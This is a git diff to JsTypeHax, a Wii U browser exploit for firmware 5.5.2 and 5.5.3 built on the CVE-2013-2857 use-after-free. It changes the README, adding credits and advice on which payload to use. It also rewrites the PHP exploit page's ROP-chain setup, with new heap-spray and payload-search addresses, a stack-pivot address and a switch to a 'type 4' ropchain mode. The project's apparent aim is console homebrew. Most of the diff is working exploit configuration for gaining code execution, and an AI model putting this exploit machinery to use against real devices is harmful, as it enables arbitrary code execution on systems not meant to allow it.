diff --git a/README.md b/README.md index 1d1dbe6..9eb9e41 100644 --- a/README.md +++ b/README.md @@ -1,13 +1,19 @@ # JsTypeHax Wii U browser exploit for system version 5.5.2 and 5.5.3. -Requires a valid payload ("code550.bin") in the root dir and the release files from the [wiiuhaxx_common repo](https://github.com/wiiu-env/wiiuhaxx_common/releases) inside a subfolder "wiiuhaxx_common". +Requires a valid payload (`"code550.bin"`) in the root dir and the release files from the [wiiuhaxx_common repo](https://github.com/wiiu-env/wiiuhaxx_common/releases) inside a subfolder called `"wiiuhaxx_common"`. -Tested with the [homebrew launcher 1.4 payload](https://github.com/dimok789/homebrew_launcher/releases/download/1.4/codebin.zip) +The environment after getting code execution is **very** fragile. It's recommended to use the [JsTypeHax_payload](https://github.com/wiiu-env/JsTypeHax_payload) to get into a limited, but stable one. # Requirements A webserver with php support. # The bug -`CVE-2013-2857`, Use after free https://bugs.chromium.org/p/chromium/issues/detail?id=240124 . \ No newline at end of file +`CVE-2013-2857`, Use after free https://bugs.chromium.org/p/chromium/issues/detail?id=240124 . + +# Credits + +- JumpCallPop, jam1garner, hedgeberg: Inital exploit +- yellows8: ROP +- orboditilt: increasing stability diff --git a/index.php b/index.php index 7d9b10d..3fd685e 100644 --- a/index.php +++ b/index.php @@ -2,8 +2,8 @@ //Useful function function hexentities($str) { $return = ''; - for($i = 0; $i < strlen($str); $i++) { - $return .= '0x'.bin2hex(substr($str, $i, 1)).', '; + for($i = 0; $i < strlen($str); $i += 4) { + $return .= '0x'.bin2hex(substr($str, $i, 4)).', '; } return $return; } @@ -12,27 +12,31 @@ function hexentities($str) { $_REQUEST['sysver'] = '550'; // Currently hardcoded. $generatebinrop = 1; // Make sure the $ROPCHAIN will be in binary. -$pivotAdress = 0x010ADDCC; // don't change this. -$payload_size_w_nops = 0x20000; // the codegen is 128kb max. -$pivotAdressAdress = 0x1B800000; // where does this come from? Seems to be stable with the current spraying +// Type 4 params +$payload_tmp_address = 0x1D000000; +$payload_start_search = 0x1B800000; +$valid_payload_dst_address = 0x1D500000; +$payload_search_for = 0xDEADAFFE; -// These values could be adjusted to increase success rate. -$payload_srcaddr = 0x1D500000 - 0x00A10000; -$payload_spray_size = 0x400000; +// Needed for ROP execution +$pivotAdress = 0x010ADDCC; // don't change this. +$pivotAdressAdress = 0x1B800000; // where does this come from? Seems to be stable with the current spraying +$ROPHEAP = $payload_tmp_address - 0x1000; //+ is a BAD idea as is may override our payload -$ROPHEAP = $payload_srcaddr - 0x1000; //+ is a BAD idea as is may override our payload - -$ropchainselect = 1; // Put codebin on heap and search it. +//$ropchainselect = 1; // Put codebin on heap and search it. //$ropchainselect = 2; // Put codebin into ROP (Only works with reaaaaaally small payloads. //$ropchainselect = 3; // Print string at payload_srcaddr. +$ropchainselect = 4; // Print string at payload_srcaddr. /** Expects a wiiuhaxx_common_cfg.php with the following variables $wiiuhaxxcfg_payloadfilepath = "code550.bin"; // The actual payload that will be loaded. -$wiiuhaxxcfg_loaderfilepath = "wiiuhaxx_common/wiiuhaxx_loader.bin"; +$wiiuhaxxcfg_searchpayloadfilepath = "wiiuhaxx_common/wiiuhaxx_searcher.bin"; **/ require_once("wiiuhaxx_common/wiiu_browserhax_common.php"); + +// Only call this once! generate_ropchain(); ?> @@ -43,24 +47,18 @@ Use after free https://bugs.chromium.org/p/chromium/issues/detail?id=240124 Result: Bug is present, crash -->